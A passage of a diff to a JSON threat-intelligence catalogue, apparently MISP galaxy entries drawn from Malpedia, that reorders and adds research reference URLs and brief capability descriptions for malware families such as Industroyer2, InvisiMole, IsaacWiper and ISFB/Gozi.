+ "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too" ], "synonyms": [ "Crash", @@ -27331,24 +28922,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer2", - "https://www.netresec.com/?page=Blog&month=2022-04&post=Industroyer2-IEC-104-Analysis", - "https://blog.scadafence.com/industroyer2-attack", - "https://www.splunk.com/en_us/blog/security/threat-update-industroyer2.html", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", - "https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-iec-104-payload/", - "https://pylos.co/2022/04/23/industroyer2-in-perspective/", - "https://cert.gov.ua/article/39518", - "https://www.mandiant.com/resources/industroyer-v2-old-malware-new-tricks", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", - "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/", - "https://blogs.blackberry.com/en/2022/05/threat-thursday-malware-rebooted-how-industroyer2-takes-aim-at-ukraine-infrastructure", - "https://www.ntop.org/cybersecurity/how-ntopng-monitors-iec-60870-5-104-traffic/", "https://twitter.com/silascutler/status/1513870210398363651", "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", - "https://www.nozominetworks.com/downloads/US/Nozomi-Networks-WP-Industroyer2.pdf" + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-iec-104-payload/", + "https://blog.scadafence.com/industroyer2-attack", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://cert.gov.ua/article/39518", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://blogs.blackberry.com/en/2022/05/threat-thursday-malware-rebooted-how-industroyer2-takes-aim-at-ukraine-infrastructure", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", + "https://www.ntop.org/cybersecurity/how-ntopng-monitors-iec-60870-5-104-traffic/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/", + "https://www.splunk.com/en_us/blog/security/threat-update-industroyer2.html", + "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", + "https://www.netresec.com/?page=Blog&month=2022-04&post=Industroyer2-IEC-104-Analysis", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.nozominetworks.com/downloads/US/Nozomi-Networks-WP-Industroyer2.pdf", + "https://www.mandiant.com/resources/industroyer-v2-old-malware-new-tricks", + "https://pylos.co/2022/04/23/industroyer2-in-perspective/" ], "synonyms": [], "type": [] @@ -27387,15 +28982,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.infy", - "https://research.checkpoint.com/2021/after-lightning-comes-thunder/", - "https://download.bitdefender.com/resources/files/News/CaseStudies/study/393/Bitdefender-Whitepaper-Iranian-APT-Makes-a-Comeback-with-Thunder-and-Lightning-Backdoor-and-Espionage-Combo.pdf", - "https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/", - "https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/", - "https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv", "http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/", - "https://www.intezer.com/prince-of-persia-the-sands-of-foudre/", "http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/", - "https://cloud.tencent.com/developer/article/1738806" + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/393/Bitdefender-Whitepaper-Iranian-APT-Makes-a-Comeback-with-Thunder-and-Lightning-Backdoor-and-Espionage-Combo.pdf", + "https://research.checkpoint.com/2021/after-lightning-comes-thunder/", + "https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv", + "https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/", + "https://cloud.tencent.com/developer/article/1738806", + "https://www.intezer.com/prince-of-persia-the-sands-of-foudre/", + "https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/" ], "synonyms": [ "Foudre" @@ -27405,6 +29000,19 @@ "uuid": "53616ce4-9b8e-45a0-b380-9e778cd95ae2", "value": "Infy" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.inlock", + "https://www.fortinet.com/blog/threat-research/Ransomware-Roundup-New-Inlock-and-Xorist-Variants" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3071e2d4-c692-4054-a7bf-db9af6fe3b63", + "value": "Inlock" + }, { "description": "InnaputRAT, a RAT capable of exfiltrating files from victim machines, was distributed by threat actors using phishing and Godzilla Loader. The RAT has evolved through multiple variants dating back to 2016. Recent campaigns distributing InnaputRAT beaconed to live C2 as of March 26, 2018.", "meta": { @@ -27442,33 +29050,25 @@ "type": [] }, "uuid": "fa022849-248c-4620-86b4-2a36c704b288", - "value": "Interception" + "value": "Interception (Windows)" }, { "description": "InvisiMole had a modular architecture, starting with a wrapper DLL, and performing its activities using two other modules that were embedded in its resources, named RC2FM and RC2CL. They were feature-rich backdoors and turned the affected computer into a video camera, letting the attackers to spy the victim. \r\nThe malicious actors behind this malware were active at least since 2013 in highly targeted campaigns with only a few dozen compromised computers in Ukraine and Russia. The wrapper DLL posed as a legitimate mpr.dll library and was placed in the same folder as explorer.exe, which made it being loaded during the Windows startup into the Windows Explorer process instead of the legitimate library.\r\nMalware came in both 32-bit and 64-bit versions, which made this persistence technique functional on both architectures.\r\n\r\nThe smaller of the modules, RC2FM, contained a backdoor with fifteen supported commands indexed by numbers. The commands could perform simple changes on the system and spying features like capturing sounds, taking screenshots or monitoring all fixed and removable drives.\r\n\r\nThe second module, RC2CL, offered features for collecting as much data about the infected computer as possible, rather than for making system changes. The module supported up to 84 commands such as file system operations, file execution, registry key manipulation, remote shell activation, wireless network scanning, listing of installed software etc. Though the backdoor was capable of interfering with the system (e.g. to log off a user, terminate a process or shut down the system), it mostly provided passive operations. Whenever possible, it tried to hide its activities by restoring the original file access time or safe-deleting its traces. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", - "https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/", + "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", + "https://cocomelonc.github.io/malware/2022/11/27/malware-tricks-24.html", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", - "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", + "https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "10f50ef8-6e3b-11e8-a648-d73fb4d2f48e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "22755fda-497e-4ef0-823e-5cb6d8701420", "value": "InvisiMole" }, @@ -27491,8 +29091,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://www.symantec.com/security-center/writeup/2015-122210-5128-99", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html", "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" ], @@ -27502,34 +29102,50 @@ "uuid": "44599616-3849-4960-9379-05307287ff80", "value": "IRONHALO" }, + { + "description": "According to Mitre, IronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironnetinjector", + "https://unit42.paloaltonetworks.com/ironnetinjector/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5ec639ab-f6c1-4cbb-87b1-d59344878e98", + "value": "IronNetInjector" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper", "https://thehackernews.com/2022/03/second-new-isaacwiper-data-wiper.html", - "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", - "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", - "https://www.recordedfuture.com/isaacwiper-continues-trend-wiper-attacks-against-ukraine/", - "https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/", - "https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/", + "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", "https://securityintelligence.com/posts/new-wiper-malware-used-against-ukranian-organizations/", - "https://twitter.com/ESETresearch/status/1521910890072842240", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", "https://experience.mandiant.com/trending-evil-2/p/1", "https://go.recordedfuture.com/hubfs/reports/mtp-2022-0324.pdf", - "https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/", - "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/", - "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", + "https://twitter.com/ESETresearch/status/1521910890072842240", + "https://www.recordedfuture.com/isaacwiper-continues-trend-wiper-attacks-against-ukraine/", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/", + "https://www.brighttalk.com/webcast/15591/534324", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/", "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", - "https://www.brighttalk.com/webcast/15591/534324" + "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/" ], "synonyms": [ "LASAINRAW" @@ -27544,93 +29160,100 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://blog.talosintelligence.com/2019/01/amp-tracks-ursnif.html", - "https://blog.minerva-labs.com/attackers-insert-themselves-into-the-email-conversation-to-spread-malware", - "https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0", - "https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/", - "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/", - "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", - "https://threatresearch.ext.hp.com/detecting-ta551-domains/", - "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", - "https://news.sophos.com/en-us/2019/12/24/gozi-v3-tracked-by-their-own-stealth/", - "https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html", - "https://www.fidelissecurity.com/threatgeek/threat-intelligence/gozi-v3-technical-update/", - "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", - "https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/", - "https://www.fortinet.com/blog/threat-research/new-variant-of-ursnif-continuously-targeting-italy", - "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", - "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", - "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://0ffset.net/reverse-engineering/analyzing-com-mechanisms-in-malware/", - "https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html", - "https://redcanary.com/resources/webinars/deep-dive-process-injection/", - "https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/", - "https://www.youtube.com/watch?v=KvOpNznu_3w", - "https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/", - "https://malware.love/malware_analysis/reverse_engineering/2020/11/27/analyzing-a-vbs-dropper.html", - "https://www.tgsoft.it/files/report/download.asp?id=568531345", - "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", - "https://blog.morphisec.com/ursnif/gozi-delivery-excel-macro-4.0-utilization-uptick-ocr-bypass", - "https://blog.yoroi.company/research/the-ursnif-gangs-keep-threatening-italy/", - "https://blog.talosintelligence.com/2020/07/valak-emerges.html", - "https://0ffset.net/reverse-engineering/malware-analysis/analysing-isfb-loader/", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-ursnif-infections/", - "https://www.tgsoft.it/files/report/download.asp?id=7481257469", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", - "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/05/08/ursnif-malware-banks-on-news-events-for-phishing-attacks", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "http://benkow.cc/DreambotSAS19.pdf", - "https://securityintelligence.com/posts/ursnif-cerberus-android-malware-bank-transfers-italy/", - "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", - "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", - "https://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.hornetsecurity.com/en/security-information/firefox-send-sends-ursnif-malware/", + "https://blog.yoroi.company/research/ursnif-the-latest-evolution-of-the-most-popular-banking-malware/", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", + "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", + "https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0", + "https://insight-jp.nttsecurity.com/post/102i7af/steelclovergoogle", + "https://0ffset.net/reverse-engineering/analyzing-com-mechanisms-in-malware/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://0ffset.net/reverse-engineering/malware-analysis/analysing-isfb-loader/", + "https://blog.group-ib.com/gozi-latest-ttps", + "https://www.cylance.com/en_us/blog/threat-spotlight-ursnif-infostealer-malware.html", + "https://www.tgsoft.it/files/report/download.asp?id=568531345", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://malware.love/malware_analysis/reverse_engineering/2020/11/27/analyzing-a-vbs-dropper.html", + "https://www.darktrace.com/en/blog/the-resurgence-of-the-ursnif-banking-trojan/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://isc.sans.edu/forums/diary/German+language+malspam+pushes+Ursnif/25732/", + "https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", + "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", + "https://www.fidelissecurity.com/threatgeek/threat-intelligence/gozi-v3-technical-update/", + "https://lokalhost.pl/gozi_tree.txt", + "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/phishing-campaigns-featuring-ursnif-trojan/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", + "https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html", + "https://blog.yoroi.company/research/the-ursnif-gangs-keep-threatening-italy/", + "https://www.youtube.com/watch?v=jlc7Ahp8Iqg", + "https://github.com/mlodic/ursnif_beacon_decryptor", + "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", + "https://www.fortinet.com/blog/threat-research/new-variant-of-ursnif-continuously-targeting-italy", + "https://isc.sans.edu/forums/diary/Reviewing+the+spam+filters+Malspam+pushing+GoziISFB/23245", + "https://www.youtube.com/watch?v=KvOpNznu_3w", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", + "https://blog.minerva-labs.com/attackers-insert-themselves-into-the-email-conversation-to-spread-malware", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://github.com/gbrindisi/malware/tree/master/windows/gozi-isfb", + "https://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/", + "https://www.cleafy.com/cleafy-labs/digital-banking-fraud-how-the-gozi-malware-work", + "https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif", + "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features", + "https://blog.talosintelligence.com/2019/01/amp-tracks-ursnif.html", + "https://redcanary.com/resources/webinars/deep-dive-process-injection/", + "https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/", + "https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/", + "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/gozi-italian-shellcode-dance", + "https://medium.com/csis-techblog/chapter-1-from-gozi-to-isfb-the-history-of-a-mythical-malware-family-82e592577fef", + "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/", + "https://blog.talosintelligence.com/2020/07/valak-emerges.html", + "https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/", + "https://blog.yoroi.company/research/ursnif-long-live-the-steganography/", + "http://benkow.cc/DreambotSAS19.pdf", + "https://blog.morphisec.com/ursnif/gozi-delivery-excel-macro-4.0-utilization-uptick-ocr-bypass", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/15", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://news.sophos.com/en-us/2019/12/24/gozi-v3-tracked-by-their-own-stealth/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", + "https://www.tgsoft.it/files/report/download.asp?id=7481257469", + "https://www.cyberbit.com/blog/endpoint-security/new-ursnif-malware-variant/", + "https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/", + "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-ursnif-infections/", + "https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html", + "https://blog.fox-it.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/05/08/ursnif-malware-banks-on-news-events-for-phishing-attacks", + "https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/", "http://blog.talosintelligence.com/2018/03/gozi-isfb-remains-active-in-2018.html", + "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", + "https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", + "https://securityintelligence.com/posts/ursnif-cerberus-android-malware-bank-transfers-italy/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://threatresearch.ext.hp.com/detecting-ta551-domains/", + "https://www.hornetsecurity.com/en/security-information/firefox-send-sends-ursnif-malware/", + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", + "https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://www.cyberbit.com/new-ursnif-malware-variant/", + "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", "https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/", "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex", - "https://isc.sans.edu/forums/diary/German+language+malspam+pushes+Ursnif/25732/", - "https://www.cleafy.com/cleafy-labs/digital-banking-fraud-how-the-gozi-malware-work", - "https://lokalhost.pl/gozi_tree.txt", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/phishing-campaigns-featuring-ursnif-trojan/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", - "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", - "https://blog.group-ib.com/gozi-latest-ttps", - "https://isc.sans.edu/forums/diary/Reviewing+the+spam+filters+Malspam+pushing+GoziISFB/23245", - "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", - "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", - "https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/", - "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/", - "https://blog.yoroi.company/research/ursnif-the-latest-evolution-of-the-most-popular-banking-malware/", - "https://www.cyberbit.com/blog/endpoint-security/new-ursnif-malware-variant/", - "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", - "https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/", - "https://www.youtube.com/watch?v=jlc7Ahp8Iqg", - "https://blog.yoroi.company/research/ursnif-long-live-the-steganography/", - "https://www.cylance.com/en_us/blog/threat-spotlight-ursnif-infostealer-malware.html", - "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/15", - "https://blog.fox-it.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/", - "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", - "https://www.cyberbit.com/new-ursnif-malware-variant/", - "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", - "https://www.proofpoint.com/us/blog/security-briefs/ta544-targets-italian-organizations-ursnif-malware", - "https://github.com/gbrindisi/malware/tree/master/windows/gozi-isfb", - "https://github.com/mlodic/ursnif_beacon_decryptor", - "https://www.darktrace.com/en/blog/the-resurgence-of-the-ursnif-banking-trojan/", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://www.proofpoint.com/us/blog/security-briefs/ta544-targets-italian-organizations-ursnif-malware" ], "synonyms": [ "Gozi ISFB", @@ -27647,11 +29270,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent", - "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/", 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"https://www.zscaler.com/blogs/research/targeted-attacks-indian-government-and-financial-institutions-using-jsoutprox-rat", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://twitter.com/zlab_team/status/1208022180241530882", - 